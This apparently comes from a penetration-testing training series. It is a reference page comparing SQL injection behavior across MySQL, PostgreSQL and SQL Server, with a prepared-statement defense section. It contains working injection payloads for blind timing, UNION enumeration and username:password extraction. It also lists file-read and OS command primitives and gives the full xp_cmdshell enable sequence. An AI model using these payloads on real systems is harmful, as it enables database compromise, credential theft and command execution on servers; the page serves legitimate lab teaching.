// 1 ZERO-DAY · 1 CVE · 1 EXPLOIT IN THE LAST 24H

Reference: Database-Specific Features and Injection Behaviors Compared

When you're mid-assessment and the target database engine turns out to be something other than what you expected, you need answers fast. I've been on ShopBox variants where the MySQL backend at 192.0.2.20 was documented wrong in the asset inventory, and the PostgreSQL instance at 192.0.2.30 was the one actually fielding login queries. This page is the cheat sheet I wish I'd had laminated on my first few engagements. Cross-reference with the manual exploitation patterns from "First Blood" (page 3) and the sqlmap behaviors from page 4.


Table 1: String Construction and Comment Syntax

Feature MySQL 8.x PostgreSQL 16 SQL Server 2022
String concatenation CONCAT('a','b') or 'a' 'b' (space-separated literals) 'a' \|\| 'b' or CONCAT('a','b') 'a' + 'b' or CONCAT('a','b')
Single-line comment -- (requires trailing space) or # -- (standard) -- (standard)
Multi-line comment /* ... */ /* ... */ /* ... */
String literal quotes Single ' only; " is identifier Single '; E'\n' for escape sequences Single '; quoted identifiers use [ ] or "
Null byte handling Stops parsing at %00 in some contexts Treated as data, not terminator Treated as data, not terminator
Case sensitivity Database/table names: filesystem-dependent on Linux Identifiers fold to lower unless quoted Case-insensitive by default for identifiers

Sam's note: The MySQL -- double-dash with trailing space is a gotcha that burned me early. Without that space, MySQL treats -- as a subtraction operator and keeps parsing. I hit this on a ShopBox MySQL login form where admin'-- (no space) failed silently but admin'-- worked. PostgreSQL doesn't care about that trailing space. SQL Server's -- behaves like PostgreSQL's.

In plain terms: the same payload skeleton won't port cleanly. Always verify comment syntax first with a benign true/false test before building complex injections.


Table 2: Schema Enumeration — System Catalog Equivalents

Information Target MySQL 8.x PostgreSQL 16 SQL Server 2022
List databases information_schema.schemata or SHOW DATABASES information_schema.schemata sys.databases or information_schema.schemata
List tables in current DB information_schema.tables information_schema.tables sys.tables or information_schema.tables
List columns in a table information_schema.columns information_schema.columns sys.columns joined to sys.tables, or information_schema.columns
Current database name DATABASE() current_database() DB_NAME()
Current user CURRENT_USER() or USER() current_user SUSER_SNAME() or CURRENT_USER
Database version VERSION() version() @@VERSION
Hostname @@hostname inet_server_addr() (IP) or inet_server_port() @@SERVERNAME

Sam's note: SQL Server's dual catalog system (INFORMATION_SCHEMA for ANSI compatibility, sys.* for Microsoft-native) is genuinely useful. sys.tables includes is_ms_shipped to filter out system tables, which INFORMATION_SCHEMA.tables doesn't give you directly. I've seen junior analysts waste time enumerating INFORMATION_SCHEMA on SQL Server when sys.tables would have been cleaner. On the PostgreSQL ShopBox at 192.0.2.30, information_schema works fine but pg_catalog.pg_tables is faster for large schemas because it's the underlying implementation table.


Table 3: Time-Delay Functions for Blind Detection

Engine Function Typical Precision Notes from the Field
MySQL 8.x SLEEP(n) Second granularity Most reliable; returns 0 after delay. Beware: SLEEP() in SELECT can be optimized away in WHERE clauses if the optimizer decides the row doesn't match.
MySQL 8.x BENCHMARK(count, expr) Sub-second possible CPU-bound, not clock-bound; noisy on shared hosting. I avoid it now.
PostgreSQL 16 pg_sleep(n) Millisecond with pg_sleep(interval) pg_sleep('0.5') works for half-second. Requires EXECUTE privilege on the function, which is default public but can be revoked.
PostgreSQL 16 pg_sleep_for(interval) Same Syntactic variant; same underlying mechanism.
SQL Server 2022 WAITFOR DELAY '00:00:05' ~10-15ms practical floor Requires no special privileges. String format is rigid: HH:MM:SS or HH:MM:SS.mmm.
SQL Server 2022 WAITFOR TIME '12:00:00' Clock-aligned Rarely useful for injection; included for completeness.

Sam's note: Blind detection via timing is where you earn your patience. On a loaded ShopBox MySQL instance, SLEEP(5) might take 8 seconds wall-clock due to query queueing, so I always establish a baseline with SLEEP(0) and SLEEP(5) on a known-true condition before interpreting results. PostgreSQL's pg_sleep accepts fractional seconds more naturally than MySQL's integer-only SLEEP(). SQL Server's WAITFOR is the most verbose syntax but also the most predictable in my experience — I've never seen it optimized away.

⚠️ Authorized, defensive use only.


Table 4: File System and Command Execution Primitives

Capability MySQL 8.x PostgreSQL 16 SQL Server 2022
Read files from server LOAD_FILE('/path') — requires FILE privilege and secure_file_priv setting pg_read_file('path', offset, length) in pg_catalog; superuser or explicit grant OPENROWSET(BULK...) or BULK INSERT; complex ACLs
Write files to server INTO OUTFILE '/path' or INTO DUMPFILE — same privilege constraints COPY TO with PROGRAM or file path; superuser typically required xp_cmdshell with redirection, or sp_OACreate/sp_OAMethod alternatives
Direct OS command execution Not natively available — requires UDF (User-Defined Function) or plugin like lib_mysqludf_sys COPY ... FROM PROGRAM 'command' (superuser); or plpythonu/plperlu extensions xp_cmdshell 'command' — extended stored procedure
Enable disabled execution N/A (no built-in equivalent) Extension loading via CREATE EXTENSION or ALTER SYSTEM sp_configure 'xp_cmdshell', 1; RECONFIGURE;
Privilege requirement for execution FILE for read/write; UDF requires INSERT to mysql.func plus filesystem access Superuser for COPY PROGRAM; extension-dependent otherwise sysadmin role by default; proxy accounts possible per [S3]

Sam's note: The SQL Server xp_cmdshell chain is the only one I can speak to with confidence from repeated lab work. The full enable sequence, as we touched on in "The Attacker's Toolkit" (page 2):

-- Check current setting
EXEC sp_configure 'xp_cmdshell';
-- If 'show advanced options' is 0, enable it first
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
-- Now enable xp_cmdshell
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;

Why this matters: RECONFIGURE is not optional — [S3] confirms the setting change doesn't take effect without it. I've watched students enable xp_cmdshell, try to run it, get a permissions error, and assume they're not sysadmin. Nope — they just forgot RECONFIGURE. The sp_configure output showing run_valueconfig_value is your diagnostic.

For MySQL and PostgreSQL command execution, I have to hedge: I've used MySQL UDFs in CTF environments but never in a production assessment, and the lib_mysqludf_sys project maintenance status varies. PostgreSQL's COPY ... FROM PROGRAM is powerful but I've encountered it more often disabled or restricted than enabled. Check your target's pg_hba.conf and postgresql.conf for allow_system_table_mods and related settings.


Table 5: Prepared Statement Syntax and Parameter Binding

Aspect MySQL 8.x PostgreSQL 16 SQL Server 2022
Client-side prepared statement API PREPARE stmt FROM 'SELECT ... WHERE id = ?' PREPARE stmt (INT) AS SELECT ... WHERE id = $1 sp_executesql N'SELECT ... WHERE id = @p1', N'@p1 INT', @p1 = ?
Parameter placeholder ? (positional) $1, $2, etc. (positional) @name (named) or ? with ADO.NET
Binary protocol support Yes (mysqlnd, C API) Yes (extended query protocol) Yes (Tabular Data Stream, TDS)
Server-side cursor behavior Optional; default is emulate prepared True server-side prepare by default sp_executesql compiles and caches plan
PDO/PHP binding example $stmt->bind_param('i', $id) $stmt->bindParam(1, $id, PDO::PARAM_INT) $cmd->Parameters->AddWithValue('@p1', $id)
ORM abstraction Doctrine, Eloquent handle internally Doctrine, Eloquent handle internally Entity Framework, Dapper

Sam's note: The core principle from [S1] holds everywhere — the SQL template goes to the server first, parameters second. But the implementation details matter for defense. MySQL's PREPARE from string concatenation is still vulnerable if you build the template string with user input: PREPARE stmt FROM CONCAT('SELECT * FROM ', user_input) defeats the purpose. I've seen this in legacy ShopBox code that "used prepared statements" but concatenated the table name.

PostgreSQL's numbered parameters ($1) are less readable but harder to confuse in complex queries. SQL Server's named parameters (@p1) shine in stored procedures but require discipline — dynamic SQL inside sp_executesql with string concatenation is still injection city.

In plain terms: prepared statements are not magic. The template must be fixed. If any part of the SQL structure comes from user input, you're back to square one.


Quick Cross-Reference: ShopBox Payload Porting

Attack Step (from Page 3) MySQL 192.0.2.20 PostgreSQL 192.0.2.30
Confirm injection point 1' AND SLEEP(5)-- 1'; SELECT pg_sleep(5)--
Enumerate database name UNION SELECT 1,DATABASE(),3-- UNION SELECT 1,current_database(),3--
Enumerate tables FROM information_schema.tables WHERE table_schema=DATABASE() FROM information_schema.tables WHERE table_schema=current_database()
Extract column values GROUP_CONCAT(username,':',password) STRING_AGG(username || ':' || password, ',')

The GROUP_CONCAT versus STRING_AGG difference bit me on a timed assessment once. MySQL's GROUP_CONCAT has a default 1024-byte limit (configurable via group_concat_max_len); PostgreSQL's STRING_AGG has no such limit by default. SQL Server would use STRING_AGG as of 2017, or FOR XML PATH('') on older versions — check your target's build.


Sam's closing note for this page: I keep a printed copy of Tables 1 and 2 taped inside my notebook. The rest I can reconstruct, but comment syntax and catalog tables are the first things I need when the engine surprises me. In the next page, "When Defenses Fail," we'll look at what happens when your WAF rules know MySQL syntax but the attacker switches to PostgreSQL — the polyglot payload problem. For now, lab this: spin up the ShopBox variants on 192.0.2.20 and 192.0.2.30, run the same sqlmap command from page 4 with --dbms=mysql versus --dbms=postgresql, and watch the payload difference in your application logs. The defensive correlation patterns from page 5 only work if you know what you're looking for.

Further reading